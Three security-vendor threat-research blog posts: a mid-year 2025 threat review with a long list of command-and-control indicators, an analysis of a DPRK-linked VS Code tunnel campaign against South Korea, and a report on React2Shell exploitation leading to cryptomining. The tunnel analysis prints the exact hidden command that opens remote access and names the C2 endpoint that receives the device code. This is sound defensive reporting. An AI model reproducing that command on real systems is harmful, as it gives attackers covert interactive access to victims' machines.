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August 5, 2025

2025 Cyber Threat Landscape: Darktrace’s Mid-Year Review

Explore key cyber threat trends observed across Darktrace’s customer base in the first half of 2025. As threat actors increasingly adopt AI and diversify their techniques and tooling, anomaly-based detection continues to prove vital in defending against evolving attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Emma Foulger
Global Threat Research Operations Lead
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05
Aug 2025

2025: Threat landscape in review

The following is a retrospective of the first six months of 2025, highlighting key findings across the threat landscape impacting Darktrace customers.

Darktrace observed a wide range of tactics during this period, used by various types of threat actors including advanced persistent threats (APTs), Malware-as-a-Service (MaaS) and Ransomware-as-a-Service (RaaS) groups.

Methodology

Darktrace’s Analyst team conduct investigations and research into threats facing organizations and security teams across our customer base.  This includes direct investigations with our 24/7 Security Operations Centre (SOC), via services such as Managed Detection and Response (MDR) and Managed Threat Detection, as well as broader cross-fleet research through our Threat Research function.

At the core of our research is Darktrace’s anomaly-based detection, which the Analyst team contextualizes and analyzes to provide additional support to customers and deepen our understanding of the threats they face.

Threat actors are incorporating AI into offensive operations

Threat actors are continuously evolving their tactics, techniques, and procedures (TTPs), posing an ongoing challenge to effective defense hardening. Increasingly, many threat actors are adopting AI, particularly large language models (LLMs), into their operations to enhance the scale, sophistication, and efficacy of their attacks.

The evolving functionality of malware, such as the recently reported LameHug malware by CERT-UA, which uses an open-source LLM, exemplifies this observation [1].

Threat landscape trends in 2025

Threat actors applying AI to Email attacks

LLMs present a clear opportunity for attackers to take advantage of AI and create effective phishing emails at speed. While Darktrace cannot definitively confirm the use of AI to create the phishing emails observed across the customer base, the high volume of phishing emails and notable shifts in tactic could potentially be explained by threat actors adopting new tooling such as LLMs.

  • The total number of malicious emails detected by Darktrace from January to May 2025 was over 12.6 million
  • VIP users continue to face significant threat, with over 25% of all phishing emails targeting these users in the first five months of 2025
  • QR code-based phishing emails have remained a consistent tactic, with a similar proportion observed in January-May 2024 and 2025. The highest numbers were observed in February 2025, with over 1 million detected in that month alone.
  • Shifts towards increased sophistication within phishing emails are emerging, with a year-on-year increase in the proportion of phishing emails containing either a high text volume or multistage payloads. In the first five months of 2025, 32% of phishing emails contained a high volume of text.

The increase in proportion of phishing emails with a high volume of text in particular could point towards threat actors leveraging LLMs to create phishing emails with large, but believable, text in an easy and efficient way.

The above email statistics are derived from analysis of monitored Darktrace / EMAIL model data for all customer deployments hosted in the cloud between January 1 and May 31, 2025.

Campaign Spotlight: Simple, Quick - ClickFix

An interesting technique Darktrace observed multiple times throughout March and April was ClickFix social engineering, which exploits the intersection between humans and technology to trick users into executing malicious code on behalf of the attacker.

  • While this technique has been around since 2024, Darktrace observed campaign activity in the first half of 2025 suggesting a resurgence.  
  • A range of threat actors – from APTs to MaaS and RaaS have adopted this technique to deliver secondary payloads, like information stealing malware.
  • Attackers use fraudulent or compromised legitimate websites to inject malicious plugins that masquerade as fake CAPTCHAs.
  • Targeted users believe they are completing human verification or resolving a website issue, unaware that they are being guided through a series of simple steps to execute PowerShell code on their system.
  • Darktrace observed campaign activity during the first half of 2025 across a range of sectors, including Government, Healthcare, Insurance, Retail and, Non-profit.

Not just AI: Automation is enabling Ransomware and SaaS exploitation

The rise of phishing kits like FlowerStorm and Mamba2FA, which enable phishing and abuse users’ trust by mimicking legitimate services to bypass multi-factor authentication (MFA), highlight how the barriers to entry for sophisticated attacks continue to fall, enabling new threat actors. Combined with Software-as-a-Service (SaaS) account compromise, these techniques make up a substantial portion of cybercriminal activity observed by Darktrace so far this year.

Credentials remain the weak link

A key theme across multiple cases of ransomware was threat actors abusing compromised credentials to gain initial entry into networks via:

  • Unauthorized access to internet-facing technology such as RDP servers and virtual private networks (VPNs).
  • Unauthorized access to SaaS accounts.

SaaS targeted ransomware is on the rise

The encryption of files within SaaS environments observed by Darktrace demonstrates a continued trend of ransomware actors targeting these platforms over traditional networks, potentially driven by a higher return on investment.

SaaS accounts are often less protected than traditional systems because of Single Sign-On (SSO).  Additionally, platforms like Salesforce often host sensitive data, including emails, financial records, customer information, and network configuration details. This stresses the need for robust identity management practices and continuous monitoring.

RaaS is adding complexity and speed to cyber attacks

RaaS has dominated the attack landscape, with groups like Qilin, RansomHub, and Lynx all appearing multiple times in cases across Darktrace’s customer base over the past six months. Detecting ransomware attacks before the encryption stage remains a significant challenge, particularly in RaaS operations where different affiliates often use varying techniques for initial entry and earlier stages of the attack. Darktrace’s recent analysis of Scattered Spider underscores the challenge of hardening defenses against such varying techniques.

CVE exploitation continues despite available patches

Darktrace has also observed ransomware gangs exploiting known Common Vulnerabilities and Exposures (CVEs), including the Medusa ransomware group’s use of the SimpleHelp vulnerabilities: CVE-2024-57727 and CVE-2024-57728 in March, despite patches being made available in January [2].

Misused tools + delayed patches = growing cyber risk

The exploitation of common remote management tools like SimpleHelp highlights the serious challenges defenders face when patch management cycles are suboptimal. As threat actors continue to abuse legitimate services for malicious purposes, the challenges facing defenders will only grow more complex.

Edge exploitation

It comes as no surprise that exploitation of internet-facing devices continued to feature prominently in Darktrace’s Threat Research investigations during the first half of 2025.

Observed CVE exploitation included:

Many of Darktrace’s observations of CVE exploitation so far in 2025 align with wider industry reporting, which suggests that Chinese-nexus threat actors were deemed to likely have exploited these technologies prior to public disclosure. In the case of CVE-2025-0994 - a vulnerability affecting Trimble Cityworks, an asset management system designed for use by local governments, utilities, airports, and public work agencies [3] - Darktrace observed signs of exploitation as early as January 19, well before vulnerability’s public disclosure on February 6 [4]. Darktrace’s early identification of the exploitation stemmed from the detection of a suspicious file download from 192.210.239[.]172:3219/z44.exe - later linked to Chinese-speaking threat actors in a campaign targeting the US government [5].

This case demonstrates the risks posed by the exploitation of internet-facing devices, not only those hosting more common technologies, but also software associated specifically tied to Critical National Infrastructure (CNI); a lucrative target for threat actors. This also highlights Darktrace’s ability to detect exploitation of internet-facing systems, even without a publicly disclosed CVE. Further examples of how Darktrace’s anomaly detection can uncover malicious activity ahead of public vulnerability disclosures can be found here.

New threats and returning adversaries

In the first half of 2025, Darktrace observed a wide range of threats, from sophisticated techniques employed by APT groups to large-scale campaigns involving phishing and information stealers.

BlindEagle (APT-C-36)

Among the observed APT activity, BlindEagle (APT-C-36) was seen targeting customers in Latin America (LATM), first identified in February, with additional cases seen as recently as June.

Darktrace also observed a customer targeted in a China-linked campaign involving the LapDogs ORB network, with activity spanning from December 2024 and June 2025. These likely nation-state attacks illustrate the continued adoption of cyber and AI capabilities into the national security goals of certain countries.

Sophisticated malware functionality

Further sophistication has been observed within specific malware functionality - such as the malicious backdoor Auto-Color, which has now been found to employ suppression tactics to cover its tracks if it is unable to complete its kill chain - highlighting the potential for advanced techniques across every layer of an attack.

Familiar foes

Alongside new and emerging threats, previously observed and less sophisticated tools, such as worms, Remote Access Trojans (RATs), and information stealers, continue to impact Darktrace customers.

The Raspberry Robin worm... First seen in 2021, has been repeatedly identified within Darktrace’s customer base since 2022. Most recently, Darktrace’s Threat Research team identified cases in April and May this year. Recent open-source intelligence (OSINT) reporting suggests that Raspberry Robin continues to evolve its role as an Initial Access Broker (IAB), paving the way for various attacks and remaining a concern [6].

RATs also remain a threat, with examples like AsyncRAT and Gh0st RAT impacting Darktrace customers.

In April multiple cases of MaaS were observed in Darktrace’s customer base, with information stealers Amadey and Stealc, as well as GhostSocks being distributed as a follow up payload after an initial Amadey infection.

Conclusion

As cyber threats evolve, attackers are increasingly harnessing AI to craft highly convincing email attacks, automating phishing campaigns at unprecedented scale and speed. This, coupled with rapid exploitation of vulnerabilities and the growing sophistication of ransomware gangs operating as organized crime syndicates, makes today’s threat landscape more dynamic and dangerous than ever. Cyber defenders collaborate to combat these threats – the coordinated takedown of Lumma Stealer in May was a notable win for both industry and law-enforcement [7], however OSINT suggests that this threat persists [8], and new threats will continue to arise.

Traditional security tools that rely on static rules or signature-based detection often struggle to keep pace with these fast-moving, adaptive threats. In this environment, anomaly-based detection tools are no longer optional—they are essential. By identifying deviations in normal user and system behavior, tools like Darktrace provide a proactive layer of defense capable of detecting novel and emerging threats, even those that bypass conventional security measures. Investing in anomaly-based detection is critical to staying ahead of attackers who now operate with automation, intelligence, and global coordination.

Credit to Emma Foulger (Global Threat Research Operations Lead), Nathaniel Jones (VP, Security & AI Strategy, Field CISO),  Eugene Chua (Principal Cyber Analyst & Analyst Team Lead), Nahisha Nobregas (Senior Cyber Analyst), Nicole Wong (Principal Cyber Analyst), Justin Torres (Senior Cyber Analyst), Matthew John (Director of Operations, SOC), Sam Lister (Specialist Security Researcher), Ryan Traill (Analyst Content Lead) and the Darktrace Incident Management team.

The information contained in this blog post is provided for general informational purposes only and represents the views and analysis of Darktrace as of the date of publication. While efforts have been made to ensure the accuracy and timeliness of the information, the cybersecurity landscape is dynamic, and new threats or vulnerabilities may have emerged since this report was compiled.

This content is provided “as is” and without warranties of any kind, either express or implied. Darktrace makes no representations or warranties regarding the completeness, accuracy, reliability, or suitability of the information, and expressly disclaims all warranties.

Nothing in this blog post should be interpreted as legal, technical, or professional advice. Users of this information assume full responsibility for any actions taken based on its content, and Darktrace shall not be liable for any loss or damage resulting from reliance on this material. Reference to any specific products, companies, or services does not constitute or imply endorsement, recommendation, or affiliation.

Appendices

Indicators of Compromise (IoCs)

IoC - Type - Description + Probability

LapDogs ORB network, December 2024-June 2025

www.northumbra[.]com – Hostname – Command and Control (C2) server

103.131.189[.]2 – IP Address - C2 server, observed December 2024 & June 2025

103.106.230[.]31 – IP Address - C2 server, observed December 2024

154.223.20[.]56 – IP Address – Possible C2 server, observed December 2024

38.60.214[.]23 – IP Address – Possible C2 server, observed January & February 2025

154.223.20[.]58:1346/systemd-log – URL – Possible ShortLeash payload, observed December 2024

CN=ROOT,OU=Police department,O=LAPD,L=LA,ST=California,C=US - TLS certificate details for C2 server

CVE-2025-0994, Trimble Cityworks exploitation, January 2025

192.210.239[.]172:3219/z44.exe – URL - Likely malicious file download

AsyncRAT, February-March 2025

windows-cam.casacam[.]net – Hostname – Likely C2 server

88.209.248[.]141 – IP Address – Likely C2 server

207.231.105[.]51 – IP Address – Likely C2 server

163.172.125[.]253 – IP Address – Likely C2 server

microsoft-download.ddnsfree[.]com – Hostname – Likely C2 server

95.217.34[.]113 – IP Address – Likely C2 server

vpnl[.]net – Hostname – Likely C2 server

157.20.182[.]16 – IP Address - Likely C2 server

185.81.157[.]19 – IP Address – Likely C2 server

dynamic.serveftp[.]net – IP Address – Likely C2 server

158.220.96.15 – IP Address – Likely C2 server

CVE-2024-57727 & CVE-2024-57728, SimpleHelp RMM exploitation, March 2025

213.183.63[.]41 – IP Address - C2 server

213.183.63[.]41/access/JWrapper-Windows64JRE-version.txt?time=3512082867 – URL - C2 server

213.183.63[.]41/access/JWrapper-Windows64JRE-00000000002-archive.p2.l2 – URL - C2 server

pruebas.pintacuario[.]mx – Hostname – Possible C2 server

144.217.181[.]205 – IP Address – Likely C2 server

erp.ranasons[.]com – Hostname – Possible destination for exfiltration

143.110.243[.]154 – IP Address – Likely destination for exfiltration

Blind Eagle, April-June 2025

sostenermio2024.duckdns[.]org/31agosto.vbs – URL – Possible malicious file download

Stealc, April 2025

88.214.48[.]93/ea2cb15d61cc476f[.]php – URL – C2 server

Amadey & GhostSocks, April 2025

195.82.147[.]98 – IP Address - Amadey C2 server

195.82.147[.]98/0Bdh3sQpbD/index.php – IP Address – Likely Amadey C2 activity

194.28.226.181 – IP Address – Likely GhostSocks C2 server

RaspberryRobin, May 2025

4j[.]pm – Hostname – C2 server

4xq[.]nl – Hostname – C2 server

8t[.]wf – Hostname – C2 server

Gh0stRAT, May 2025

lu.dssiss[.]icu  - Hostname – Likely C2 server

192.238.133[.]162:7744/1-111.exe – URL – Possible addition payload

8e9dec3b028f2406a8c546a9e9ea3d50609c36bb - SHA1 - Possible additional payload

f891c920f81bab4efbaaa1f7a850d484 - MD5 – Possible additional payload

192.238.133[.]162:7744/c3p.exe – URL - Possible additional payload

03287a15bfd67ff8c3340c0bae425ecaa37a929f - SHA1 - Possible additional payload

02aa02aee2a6bd93a4a8f4941a0e6310 - MD5 - Possible additional payload

192.238.133[.]162:7744/1-1111.exe – URL - Possible additional payload

1473292e1405882b394de5a5857f0b6fa3858fd1 - SHA1 - Possible additional payload

69549862b2d357e1de5bab899ec0c817 - MD5 - Possible additional payload

192.238.133[.]162:7744/1-25.exe – URL -  Possible additional payload

20189164c4cd5cac7eb76ba31d0bd8936761d7a7  - SHA1 - Possible additional payload

f42aa5e68b28a3f335f5ea8b6c60cb57 – MD5 - Possible additional payload

192.238.133[.]162:7744/Project1_se.exe – URL - Possible additional payload

fea1e30dfafbe9fa9abbbdefbcbe245b6b0628ad - SHA1 - Possible additional payload

5ea622c630ef2fd677868cbe8523a3d5 - MD5 - Possible additional payload

192.238.133[.]162:7744/Project1_se.exe - URL - Possible additional payload

aa5a5d2bd610ccf23e58bcb17d6856d7566d71b9  - SHA1 - Possible additional payload

9d33029eaeac1c2d05cf47eebb93a1d0 - MD5 - Possible additional payload

References and further reading

1.        https://cip.gov.ua/en/news/art28-atakuye-sektor-bezpeki-ta-oboroni-za-dopomogoyu-programnogo-zasobu-sho-vikoristovuye-shtuchnii-intelekt?utm_medium=email&_hsmi=113619842&utm_content=113619842&utm_source=hs_email

2.        https://www.s-rminform.com/latest-thinking/cyber-threat-advisory-medusa-and-the-simplehelp-vulnerability

3.        https://assetlifecycle.trimble.com/en/products/software/cityworks

4.     https://nvd.nist.gov/vuln/detail/CVE-2025-0994

5.     https://blog.talosintelligence.com/uat-6382-exploits-cityworks-vulnerability/

6.        https://www.silentpush.com/blog/raspberry-robin/

7.        https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/

8.     https://www.trendmicro.com/en_sg/research/25/g/lumma-stealer-returns.html

Related Darktrace investigations

-              ClickFix

-              FlowerStorm

-              Mamba 2FA

-              Qilin Ransomware

-              RansomHub Ransomware

-              RansomHub Revisited

-              Lynx Ransomware

-              Scattered Spider

-              Medusa Ransomware

-              Legitimate Services Malicious Intentions

-              CVE-2025-0282 and CVE-2025-0283 – Ivanti CS, PS and ZTA

-              CVE-2025-31324 – SAP Netweaver

-              Pre-CVE Threat Detection

-              BlindEagle (APT-C-36)

-              Raspberry Robin Worm

-              AsyncRAT

-              Amadey

-              Lumma Stealer

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Emma Foulger
Global Threat Research Operations Lead

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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